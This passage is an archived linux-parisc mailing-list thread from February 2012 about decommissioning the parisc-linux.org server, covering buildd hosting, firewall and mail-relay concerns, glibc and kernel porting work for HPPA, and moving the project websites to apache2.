	id S1755176Ab2BKX0X convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 18:26:23 -0500
Original-Received: from mail-tul01m020-f174.google.com ([209.85.214.174]:43094 "EHLO
	mail-tul01m020-f174.google.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755127Ab2BKX0W convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 18:26:22 -0500
Original-Received: by obcva7 with SMTP id va7so5195377obc.19
        for <linux-parisc@vger.kernel.org>; Sat, 11 Feb 2012 15:26:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=HWr19ANqw4K9Q9xjjOo4jfiljFzANJV0HxqV+mAz6uY=;
        b=WhJuPepiT1/fQl6ZGlPSlfTYl0RoRD11HwxoJ+qk2kwbGWFZDr7f+AkniN8gKSpjJ1
         66SL5BNchmmcf/pD2xyDvr4AZxfRqCtkS8stjv2afSHNFrnS7nUxu2/hzBevPZooXfa/
         zzi1z0iTTtlndRqLkpJxT+S1nU0jf+p9oLiFA=
Original-Received: by 10.60.19.164 with SMTP id g4mr2286897oee.67.1329002781154; Sat,
 11 Feb 2012 15:26:21 -0800 (PST)
Original-Received: by 10.182.141.74 with HTTP; Sat, 11 Feb 2012 15:26:01 -0800 (PST)
In-Reply-To: <BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl>
X-Google-Sender-Auth: DnyNwbj_MLtLLmchR-UsN1fsDGg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4152>

On Sat, Feb 11, 2012 at 11:41 PM, John David Anglin
<dave.anglin@bell.net> wrote:
> On 11-Feb-12, at 5:12 PM, Thibaut VARENE wrote:

> I understand. =C2=A0I'm willing to take care of the buildds, and do w=
hatever
> porting and patches that need doing as I can. =C2=A0What I meant is t=
hat
> you have to be in charge of system security as impacts the cluster
> as a whole. =C2=A0In particular, I think you will have to be involved=
 in the
> firewall setup.

Oh sure, no problem with that. I'd need some info as to what are the
needed services on the machine tho. My default firewall policy is
INPUT: DROP ;-)

Besides the firewall / access control, I think the only important
thing to take care of is MX configuration (ISTR buildds need a working
MX to function) so that the machine doesn't become an open-relay that
would put ESIEE's subnet onto the DNSBLs...

> I wasn't asking you to support the general system updates or buildd
> maintenance.

Roger that.

Cheers,
T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sat, 11 Feb 2012 18:29:41 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <CADZpyiy-fvtvR2K5m-rRznkNGd_S5xVL+Lo4ZV36f3SNPeRoNw@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
	<BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
	<20120209175547.GA22332@dannf.org>
	<BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
	<CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com>
	<BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329002986 18632 80.91.229.3 (11 Feb 2012 23:29:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2012 23:29:46 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 00:29:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwMNz-0008Om-IO
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 00:29:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755242Ab2BKX3n convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 18:29:43 -0500
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:63692 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755038Ab2BKX3m convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 18:29:42 -0500
Original-Received: by yenm8 with SMTP id m8so1960875yen.19
        for <linux-parisc@vger.kernel.org>; Sat, 11 Feb 2012 15:29:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=xIHOFfIg+MP0o7RpDkXZ/FYjQtiasfDOlh3D1RWeVd0=;
        b=v7vfVozCO6SBq2bm98lGAyJIVdqqeDc9tCNHSWgkYUlSoS9ttX4NzIDXSLttBcSIKJ
         fBMU1MhboUETeAPD/wwqMtyAoV0j9nQEljQwDTFz7Tt2l+YOSe6gOvQMaCngTwtPLkdM
         6fVW+byaK1NeJMv5zfA//heB0OZoNHCEH2Mh0=
Original-Received: by 10.101.119.9 with SMTP id w9mr4685702anm.24.1329002981651; Sat,
 11 Feb 2012 15:29:41 -0800 (PST)
Original-Received: by 10.146.84.1 with HTTP; Sat, 11 Feb 2012 15:29:41 -0800 (PST)
In-Reply-To: <BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl>
X-Google-Sender-Auth: OvJfxxK6nX2u06TD9D1KC2hzsN4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4153
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4153>

On Sat, Feb 11, 2012 at 5:41 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> I don't know how busy Carlos is at the moment and whether he is still
> interested in helping. =A0I know he gets impossible projects from tim=
e to time.

Unfortunately I'm *very* busy right now.

However, I will continue to do all the work required to keep HPPA
working in glibc.

Please keep me in the loop and I'll try to help out whenever I can :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sat, 11 Feb 2012 19:25:24 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <BLU0-SMTP163497415546DE0CA58030977E0@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org> <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl> <CA+DQjFicockZMkgKNwF=5Dk--gWraTfZg5mo1Ph8BnQjYkfK8A@mail.gmail.com> <BLU0-SMTP7852C9372515DE54919E3697790@phx.gbl> <CADZpyiy-fvtvR2K5m-rRznkNGd_S5xVL+Lo4ZV36f3SNPeRoNw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329006347 5577 80.91.229.3 (12 Feb 2012 00:25:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 00:25:47 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 01:25:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwNGB-0008Pm-IX
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 01:25:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755301Ab2BLAZm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Feb 2012 19:25:42 -0500
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:31679 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755294Ab2BLAZm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Feb 2012 19:25:42 -0500
Original-Received: from BLU0-SMTP16 ([65.55.111.136]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 16:25:41 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP16.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 Feb 2012 16:25:41 -0800
In-Reply-To: <CADZpyiy-fvtvR2K5m-rRznkNGd_S5xVL+Lo4ZV36f3SNPeRoNw@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 12 Feb 2012 00:25:41.0205 (UTC) FILETIME=[D9F63850:01CCE91C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4154>

On 11-Feb-12, at 6:29 PM, Carlos O'Donell wrote:

> However, I will continue to do all the work required to keep HPPA
> working in glibc.

Here is what needs doing in glibc:

         * need to backport current 2.13 patches to debian
         * change build to gcc-4.6
         * update test failure list, or disable so package builds
         * broken password and group caching -- I disabled it in nscd  
conf

I believe that that I sent the patches for 2.13.  They are based on what
you sent me plus Guy's patch.  If you want, I'll send them again.
It looks to me like the next debian release will be based on 2.13.

gcc-4.6 is now the default compiler for unstable although glibc still
builds with 4.4.  I believe 4.6 is better than 4.4 based on my testing.

A more complicated issue is the multiarch support in unstable.  For
testing, it may be necessary to use current or 2.22 branch binutils,
gcc with multiarch support, and a glibc build with multiarch support.
debs are in the archives directory on shirka.esiee.fr.  If you don't
want to bother updating your a500, magnum on the esiee cluster
is updated.

My latest kernel patch posted to the parisc list resolves thread
issues for git, perl, python, etc.  There are still some cancellation
failures in the glibc testsuite, but I think the overall number of fails
is down.  Given that I'm seeing much better stability not using
the tmpalias region for clear_user_page and copy_user_page,
I think the next step is to remove this support from pacache.S.
Still using the tmpalias region for flushes but in the back of my
mind I think even the flushes may be racy (same page used for
two different mappings).

The nscd bug isn't critical and has been around for years.  Still,
it needs working around.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 08:38:53 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
References: <20120208143347.GB22903@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329057543 28791 80.91.229.3 (12 Feb 2012 14:39:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 14:39:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 15:39:00 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwaZv-0003Wa-GW
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 15:38:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755245Ab2BLOiz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 09:38:55 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33048 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755242Ab2BLOiz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 09:38:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AD2168EE0D7;
	Sun, 12 Feb 2012 06:38:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id za4xarqdaWQw; Sun, 12 Feb 2012 06:38:54 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0DE408EE081;
	Sun, 12 Feb 2012 06:38:53 -0800 (PST)
In-Reply-To: <20120208143347.GB22903@dannf.org>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4155>

On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
> In the meantime, if anyone wants to get the website working on apache2
> for the remainder of the system's lifetime, please let me know.
> 
I can probably do that.  At least the static part, since I run a bunch
of apache 2 websites on my hosted system.

I've enabled it and put it up ... but it uses some type of server side
scripting which I need to enable in the apache mods, so it's not
entirely functional yet.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 08:49:32 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
References: <20120208143347.GB22903@dannf.org>
	 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329058184 400 80.91.229.3 (12 Feb 2012 14:49:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 14:49:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 15:49:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwakB-000218-R9
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 15:49:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755225Ab2BLOtf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 09:49:35 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33068 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754701Ab2BLOte (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 09:49:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4B4DF8EE101;
	Sun, 12 Feb 2012 06:49:34 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Jq3sCuwx6nCI; Sun, 12 Feb 2012 06:49:34 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 695198EE0BA;
	Sun, 12 Feb 2012 06:49:33 -0800 (PST)
In-Reply-To: <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4156>

On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
> On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
> > In the meantime, if anyone wants to get the website working on apache2
> > for the remainder of the system's lifetime, please let me know.
> > 
> I can probably do that.  At least the static part, since I run a bunch
> of apache 2 websites on my hosted system.
> 
> I've enabled it and put it up ... but it uses some type of server side
> scripting which I need to enable in the apache mods, so it's not
> entirely functional yet.

OK, done and up.

it was using SSI ... I haven't seen that for at least 20 years ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 14:01:42 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
References: <20120208143347.GB22903@dannf.org>
	 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1329076910 29512 80.91.229.3 (12 Feb 2012 20:01:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 20:01:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 21:01:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwfcK-0003LY-RN
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 21:01:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753920Ab2BLUBr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 15:01:47 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33584 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752796Ab2BLUBq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 15:01:46 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7805D8EE0EA;
	Sun, 12 Feb 2012 12:01:46 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tLjxwlO5Fbfk; Sun, 12 Feb 2012 12:01:46 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 65F6A8EE0BA;
	Sun, 12 Feb 2012 12:01:45 -0800 (PST)
In-Reply-To: <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4157>

On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
> On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
> > On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
> > > In the meantime, if anyone wants to get the website working on apache2
> > > for the remainder of the system's lifetime, please let me know.
> > > 
> > I can probably do that.  At least the static part, since I run a bunch
> > of apache 2 websites on my hosted system.
> > 
> > I've enabled it and put it up ... but it uses some type of server side
> > scripting which I need to enable in the apache mods, so it's not
> > entirely functional yet.
> 
> OK, done and up.
> 
> it was using SSI ... I haven't seen that for at least 20 years ...

I think I'm done.  I've got the three sites
{www,ftp,hwdb}.parisc-linux.org up and running.  There aren't any more,
are there (wiki seems to be eisee)?  Could someone also check the links
to see that nothing's broken.

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Sun, 12 Feb 2012 17:47:04 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	<1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	<1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329086829 29177 80.91.229.3 (12 Feb 2012 22:47:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Feb 2012 22:47:09 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 12 23:47:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RwiCJ-0001yf-0y
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Feb 2012 23:47:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754954Ab2BLWrG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Feb 2012 17:47:06 -0500
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:50556 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754173Ab2BLWrG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Feb 2012 17:47:06 -0500
Original-Received: by yhoo21 with SMTP id o21so2108350yho.19
        for <linux-parisc@vger.kernel.org>; Sun, 12 Feb 2012 14:47:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=HXBAuGiYclzjFb3VhVrTRYfE+XRz+/mEW/Mh5dlUepE=;
        b=F8OZfhe0G5u9Yz6B0nJ6dM5PU1VfYw2A1JvASVA+jRmpB5OmlNUPLztr39MClNr8wy
         5VufmOoxn1gUO4ZdfMBXtAPluEQuzxmlSKOib7nL/VT4GfK2FT4fYNUd1s3wNB/ZN3rS
         hS8as5cX7yW2A+eag+53B1chHWhQLW9AEzg5w=
Original-Received: by 10.236.77.8 with SMTP id c8mr17659690yhe.3.1329086824149; Sun, 12
 Feb 2012 14:47:04 -0800 (PST)
Original-Received: by 10.146.84.1 with HTTP; Sun, 12 Feb 2012 14:47:04 -0800 (PST)
In-Reply-To: <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: BXWMOV9GSdZyknreWuAP0QBcefc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4158>

On Sun, Feb 12, 2012 at 3:01 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
>> On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
>> > On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
>> > > In the meantime, if anyone wants to get the website working on a=
pache2
>> > > for the remainder of the system's lifetime, please let me know.
>> > >
>> > I can probably do that. =A0At least the static part, since I run a=
 bunch
>> > of apache 2 websites on my hosted system.
>> >
>> > I've enabled it and put it up ... but it uses some type of server =
side
>> > scripting which I need to enable in the apache mods, so it's not
>> > entirely functional yet.
>>
>> OK, done and up.
>>
>> it was using SSI ... I haven't seen that for at least 20 years ...
>
> I think I'm done. =A0I've got the three sites
> {www,ftp,hwdb}.parisc-linux.org up and running. =A0There aren't any m=
ore,
> are there (wiki seems to be eisee)? =A0Could someone also check the l=
inks
> to see that nothing's broken.

I did a quick check and everything seems to be working!

Thanks!

Cheers,
